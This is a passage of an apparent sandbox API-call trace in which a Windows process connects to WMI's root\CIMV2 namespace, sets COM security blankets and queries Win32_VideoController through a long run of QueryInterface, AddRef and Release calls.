pToken=0x1afbc0c0) returned 0x0 [0168.922] CoGetContextToken (in: pToken=0x1afbbfc0 | out: pToken=0x1afbbfc0) returned 0x0 [0168.922] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x1afbc120*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc0f0 | out: ppvObject=0x1afbc0f0*=0x7b43c0) returned 0x0 [0168.922] WbemDefPath:IUnknown:AddRef (This=0x7b43c0) returned 0x3 [0168.922] WbemDefPath:IUnknown:Release (This=0x7b43c0) returned 0x2 [0168.922] WbemDefPath:IWbemPath:SetText (This=0x7b43c0, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0168.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc4a8 | out: puCount=0x1afbc4a8*=0x2) returned 0x0 [0168.922] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc4a0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc4a0*=0xf, pszText=0x0) returned 0x0 [0168.922] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc4a0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc4a0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc4b8 | out: puCount=0x1afbc4b8*=0x2) returned 0x0 [0168.922] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc4b0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc4b0*=0xf, pszText=0x0) returned 0x0 [0168.922] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc4b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc4b0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.922] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc438 | out: ppv=0x1afbc438*=0x77dd58) returned 0x0 [0168.922] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc428 | out: pAptType=0x1afbc428*=1) returned 0x0 [0168.922] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc430 | out: ppvObject=0x1afbc430*=0x0) returned 0x80004002 [0168.922] IUnknown:Release (This=0x77dd58) returned 0x1 [0168.923] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbaf8 | out: ppv=0x1afbbaf8*=0x1b1ffaf0) returned 0x0 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ffaf0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbbe0 | out: ppvObject=0x1afbbbe0*=0x0) returned 0x80004002 [0168.923] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b1ffaf0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbb8 | out: ppvObject=0x1afbbbb8*=0x1b1ff530) returned 0x0 [0168.923] WbemLocator:IUnknown:Release (This=0x1b1ffaf0) returned 0x0 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb960 | out: ppvObject=0x1afbb960*=0x1b1ff530) returned 0x0 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb9f0 | out: ppvObject=0x1afbb9f0*=0x0) returned 0x80004002 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb1e8 | out: ppvObject=0x1afbb1e8*=0x0) returned 0x80004002 [0168.923] WbemLocator:IUnknown:AddRef (This=0x1b1ff530) returned 0x3 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb0a8 | out: ppvObject=0x1afbb0a8*=0x0) returned 0x80004002 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb030 | out: ppvObject=0x1afbb030*=0x0) returned 0x80004002 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb020 | out: ppvObject=0x1afbb020*=0x0) returned 0x80004002 [0168.923] CoGetContextToken (in: pToken=0x1afbb0d0 | out: pToken=0x1afbb0d0) returned 0x0 [0168.923] CoGetContextToken (in: pToken=0x1afbb550 | out: pToken=0x1afbb550) returned 0x0 [0168.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb610 | out: ppvObject=0x1afbb610*=0x0) returned 0x80004002 [0168.924] WbemLocator:IUnknown:Release (This=0x1b1ff530) returned 0x2 [0168.924] WbemLocator:IUnknown:Release (This=0x1b1ff530) returned 0x1 [0168.924] CoGetContextToken (in: pToken=0x1afbbf90 | out: pToken=0x1afbbf90) returned 0x0 [0168.924] CoGetContextToken (in: pToken=0x1afbbe90 | out: pToken=0x1afbbe90) returned 0x0 [0168.924] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff530, riid=0x1afbbff0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbbfc0 | out: ppvObject=0x1afbbfc0*=0x1b1ff530) returned 0x0 [0168.924] WbemLocator:IUnknown:AddRef (This=0x1b1ff530) returned 0x3 [0168.924] WbemLocator:IUnknown:Release (This=0x1b1ff530) returned 0x2 [0168.924] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc3c8 | out: puCount=0x1afbc3c8*=0x2) returned 0x0 [0168.924] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=8, puBuffLength=0x1afbc3c0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc3c0*=0xf, pszText=0x0) returned 0x0 [0168.924] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=8, puBuffLength=0x1afbc3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc3c0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.924] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbc110 | out: ppv=0x1afbc110*=0x1b1ffad0) returned 0x0 [0168.924] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b1ffad0, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbc288 | out: ppNamespace=0x1afbc288*=0x1b217600) returned 0x0 [0168.953] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217600, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbf88 | out: ppvObject=0x1afbbf88*=0x1b2071c0) returned 0x0 [0168.954] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2071c0, pProxy=0x1b217600, pAuthnSvc=0x1afbc050, pAuthzSvc=0x1afbbfd0, pServerPrincName=0x1afbbff8, pAuthnLevel=0x1afbbfd4, pImpLevel=0x1afbbfe0, pAuthInfo=0x1afbc008, pCapabilites=0x1afbbfe4 | out: pAuthnSvc=0x1afbc050*=0xa, pAuthzSvc=0x1afbbfd0*=0x0, pServerPrincName=0x1afbbff8, pAuthnLevel=0x1afbbfd4*=0x6, pImpLevel=0x1afbbfe0*=0x2, pAuthInfo=0x1afbc008, pCapabilites=0x1afbbfe4*=0x1) returned 0x0 [0168.954] WbemLocator:IUnknown:Release (This=0x1b2071c0) returned 0x1 [0168.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217600, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbf20 | out: ppvObject=0x1afbbf20*=0x1b207208) returned 0x0 [0168.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217600, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbf30 | out: ppvObject=0x1afbbf30*=0x1b2071c0) returned 0x0 [0168.954] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2071c0, pProxy=0x1b217600, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0168.954] WbemLocator:IUnknown:Release (This=0x1b2071c0) returned 0x2 [0168.954] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x1 [0168.954] CoTaskMemFree (pv=0x1b204430) [0168.954] WbemLocator:IUnknown:Release (This=0x1b1ffad0) returned 0x0 [0168.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217600, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba20 | out: ppvObject=0x1afbba20*=0x1b207208) returned 0x0 [0168.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbab0 | out: ppvObject=0x1afbbab0*=0x0) returned 0x80004002 [0168.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb6d0 | out: ppvObject=0x1afbb6d0*=0x0) returned 0x80004002 [0168.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217600, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb2a8 | out: ppvObject=0x1afbb2a8*=0x0) returned 0x80004002 [0168.956] WbemLocator:IUnknown:AddRef (This=0x1b207208) returned 0x3 [0168.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb168 | out: ppvObject=0x1afbb168*=0x0) returned 0x80004002 [0168.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb0f0 | out: ppvObject=0x1afbb0f0*=0x0) returned 0x80004002 [0168.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb0e0 | out: ppvObject=0x1afbb0e0*=0x1b2070e8) returned 0x0 [0168.956] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2070e8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb108 | out: pCid=0x1afbb108*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0168.956] WbemLocator:IUnknown:Release (This=0x1b2070e8) returned 0x3 [0168.956] CoGetContextToken (in: pToken=0x1afbb190 | out: pToken=0x1afbb190) returned 0x0 [0168.956] CoGetContextToken (in: pToken=0x1afbb610 | out: pToken=0x1afbb610) returned 0x0 [0168.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb6d0 | out: ppvObject=0x1afbb6d0*=0x1b2071d0) returned 0x0 [0168.956] WbemLocator:IRpcOptions:Query (in: This=0x1b2071d0, pPrx=0x1b207208, dwProperty=2, pdwValue=0x1afbb6c0 | out: pdwValue=0x1afbb6c0) returned 0x80004002 [0168.956] WbemLocator:IUnknown:Release (This=0x1b2071d0) returned 0x3 [0168.956] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x2 [0168.956] CoGetContextToken (in: pToken=0x1afbbcd0 | out: pToken=0x1afbbcd0) returned 0x0 [0168.956] CoGetContextToken (in: pToken=0x1afbbbd0 | out: pToken=0x1afbbbd0) returned 0x0 [0168.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x1afbbd30*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbbd00 | out: ppvObject=0x1afbbd00*=0x1b217600) returned 0x0 [0168.956] WbemLocator:IUnknown:AddRef (This=0x1b217600) returned 0x4 [0168.957] WbemLocator:IUnknown:Release (This=0x1b217600) returned 0x3 [0168.957] WbemLocator:IUnknown:Release (This=0x1b217600) returned 0x2 [0168.957] SysStringLen (param_1=0x0) returned 0x0 [0168.957] CoGetContextToken (in: pToken=0x1afbbe00 | out: pToken=0x1afbbe00) returned 0x0 [0168.957] WbemLocator:IUnknown:AddRef (This=0x1b207208) returned 0x3 [0168.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe00 | out: ppvObject=0x1afbbe00*=0x1b207208) returned 0x0 [0168.957] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x3 [0168.957] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x2 [0168.957] CoGetContextToken (in: pToken=0x1afbbf30 | out: pToken=0x1afbbf30) returned 0x0 [0168.957] WbemLocator:IUnknown:AddRef (This=0x1b217600) returned 0x3 [0168.957] IWbemServices:ExecQuery (in: This=0x1b217600, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_VideoController", lFlags=16, pCtx=0x0, ppEnum=0x1afbc3d8 | out: ppEnum=0x1afbc3d8*=0x7fac20) returned 0x0 [0168.971] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc0a8 | out: ppvObject=0x1afbc0a8*=0x7fac28) returned 0x0 [0168.972] IClientSecurity:QueryBlanket (in: This=0x7fac28, pProxy=0x7fac20, pAuthnSvc=0x1afbc170, pAuthzSvc=0x1afbc0f0, pServerPrincName=0x1afbc118, pAuthnLevel=0x1afbc0f4, pImpLevel=0x1afbc100, pAuthInfo=0x1afbc128, pCapabilites=0x1afbc104 | out: pAuthnSvc=0x1afbc170*=0xa, pAuthzSvc=0x1afbc0f0*=0x0, pServerPrincName=0x1afbc118, pAuthnLevel=0x1afbc0f4*=0x6, pImpLevel=0x1afbc100*=0x2, pAuthInfo=0x1afbc128, pCapabilites=0x1afbc104*=0x1) returned 0x0 [0168.972] IUnknown:Release (This=0x7fac28) returned 0x1 [0168.972] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc040 | out: ppvObject=0x1afbc040*=0x1b2073a8) returned 0x0 [0168.972] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc050 | out: ppvObject=0x1afbc050*=0x7fac28) returned 0x0 [0168.972] IClientSecurity:SetBlanket (This=0x7fac28, pProxy=0x7fac20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0168.992] IUnknown:Release (This=0x7fac28) returned 0x2 [0168.992] WbemLocator:IUnknown:Release (This=0x1b2073a8) returned 0x1 [0168.992] CoTaskMemFree (pv=0x1b204280) [0168.992] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb10 | out: ppvObject=0x1afbbb10*=0x1b2073a8) returned 0x0 [0168.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2073a8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbba0 | out: ppvObject=0x1afbbba0*=0x0) returned 0x80004002 [0168.995] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2073a8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb7c0 | out: ppvObject=0x1afbb7c0*=0x0) returned 0x80004002 [0169.012] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb398 | out: ppvObject=0x1afbb398*=0x0) returned 0x80004002 [0169.013] WbemLocator:IUnknown:AddRef (This=0x1b2073a8) returned 0x3 [0169.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2073a8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb258 | out: ppvObject=0x1afbb258*=0x0) returned 0x80004002 [0169.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2073a8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb1e0 | out: ppvObject=0x1afbb1e0*=0x0) returned 0x80004002 [0169.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2073a8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb1d0 | out: ppvObject=0x1afbb1d0*=0x1b207288) returned 0x0 [0169.014] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b207288, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb1f8 | out: pCid=0x1afbb1f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.014] WbemLocator:IUnknown:Release (This=0x1b207288) returned 0x3 [0169.014] CoGetContextToken (in: pToken=0x1afbb280 | out: pToken=0x1afbb280) returned 0x0 [0169.014] CoGetContextToken (in: pToken=0x1afbb700 | out: pToken=0x1afbb700) returned 0x0 [0169.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2073a8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb7c0 | out: ppvObject=0x1afbb7c0*=0x1b207370) returned 0x0 [0169.015] WbemLocator:IRpcOptions:Query (in: This=0x1b207370, pPrx=0x1b2073a8, dwProperty=2, pdwValue=0x1afbb7b0 | out: pdwValue=0x1afbb7b0) returned 0x80004002 [0169.015] WbemLocator:IUnknown:Release (This=0x1b207370) returned 0x3 [0169.015] WbemLocator:IUnknown:Release (This=0x1b2073a8) returned 0x2 [0169.015] CoGetContextToken (in: pToken=0x1afbbdc0 | out: pToken=0x1afbbdc0) returned 0x0 [0169.015] CoGetContextToken (in: pToken=0x1afbbcc0 | out: pToken=0x1afbbcc0) returned 0x0 [0169.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2073a8, riid=0x1afbbe20*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbbdf0 | out: ppvObject=0x1afbbdf0*=0x7fac20) returned 0x0 [0169.015] IUnknown:AddRef (This=0x7fac20) returned 0x4 [0169.015] IUnknown:Release (This=0x7fac20) returned 0x3 [0169.015] IUnknown:Release (This=0x7fac20) returned 0x2 [0169.015] WbemLocator:IUnknown:Release (This=0x1b217600) returned 0x2 [0169.015] SysStringLen (param_1=0x0) returned 0x0 [0169.015] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc418 | out: puCount=0x1afbc418*=0x2) returned 0x0 [0169.015] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc410*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc410*=0xf, pszText=0x0) returned 0x0 [0169.015] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc410*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc410*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.015] CoGetContextToken (in: pToken=0x1afbbf90 | out: pToken=0x1afbbf90) returned 0x0 [0169.015] IUnknown:AddRef (This=0x7fac20) returned 0x3 [0169.016] IEnumWbemClassObject:Clone (in: This=0x7fac20, ppEnum=0x1afbc390 | out: ppEnum=0x1afbc390*=0x7bbce0) returned 0x0 [0169.018] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc118 | out: ppvObject=0x1afbc118*=0x7bbce8) returned 0x0 [0169.018] IClientSecurity:QueryBlanket (in: This=0x7bbce8, pProxy=0x7bbce0, pAuthnSvc=0x1afbc1e0, pAuthzSvc=0x1afbc160, pServerPrincName=0x1afbc188, pAuthnLevel=0x1afbc164, pImpLevel=0x1afbc170, pAuthInfo=0x1afbc198, pCapabilites=0x1afbc174 | out: pAuthnSvc=0x1afbc1e0*=0xa, pAuthzSvc=0x1afbc160*=0x0, pServerPrincName=0x1afbc188, pAuthnLevel=0x1afbc164*=0x6, pImpLevel=0x1afbc170*=0x2, pAuthInfo=0x1afbc198, pCapabilites=0x1afbc174*=0x1) returned 0x0 [0169.018] IUnknown:Release (This=0x7bbce8) returned 0x1 [0169.018] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc0b0 | out: ppvObject=0x1afbc0b0*=0x1b21fdd8) returned 0x0 [0169.018] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb15d96528*(Data1=0x13d, 